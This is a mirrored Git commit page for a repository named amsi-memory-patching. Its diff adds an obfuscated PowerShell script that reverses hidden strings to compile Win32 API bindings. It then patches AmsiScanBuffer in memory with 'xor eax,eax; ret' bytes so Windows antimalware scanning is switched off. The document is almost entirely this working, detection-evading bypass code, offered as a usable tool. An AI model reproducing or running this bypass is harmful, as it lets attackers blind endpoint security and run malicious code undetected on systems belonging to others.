admin/Print3M-amsi-memory-patching
1
0
Fork 0
mirror of https://github.com/Print3M/amsi-memory-patching synced 2026-06-21 16:42:22 +00:00
Code Issues Packages Projects Releases Wiki Activity

fix

Browse Source
This commit is contained in:
Print3M
2024-05-05 20:10:05 +02:00
parent cfdf9de9b4
commit cf4bd6f55d
4 changed files with 0 additions and 4 deletions
Download Patch File Download Diff File Expand all files Collapse all files
script-obfuscated.ps1
+27
View File
@@ -0,0 +1,27 @@
$Apple = @"
}
;)tcetorPdlOlfpl tniu tuo ,tcetorPweNlf tniu ,eziSwd rtPtnIU ,sserddApl rtPtnI(tcetorPlautriV loob nretxe citats cilbup
])"23lenrek"(tropmIllD[
;)emaNcorp gnirts ,eludoMh rtPtnI(sserddAcorPteG rtPtnI nretxe citats cilbup
])"23lenrek"(tropmIllD[
;)eman gnirts(yrarbiLdaoL rtPtnI nretxe citats cilbup
])"23lenrek"(tropmIllD[
{ 23niW ssalc cilbup
;secivreSporetnI.emitnuR.metsyS gnisu
;metsyS gnisu
"@
$Apple = $Apple.ToCharArray();[array]::Reverse($Apple);$Apple = $Apple -join ""
Add-Type $Apple
$DllName = "lld.isma".ToCharArray();[array]::Reverse($DllName);$DllName = $DllName -join ""
$DllAddr = [Win32]::LoadLibrary($DllName)
$FuncName = "reffuBnacSismA".ToCharArray();[array]::Reverse($FuncName);$FuncName = $FuncName -join ""
$FuncAddr = [Win32]::GetProcAddress($DllAddr, $FuncName)
$p = 0
[Win32]::VirtualProtect($FuncAddr, [uint32]5, 0x40, [ref]$p)
$Banana = [Byte[]] (0x31, 0xC0, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Banana, 0, $FuncAddr, $Banana.Length)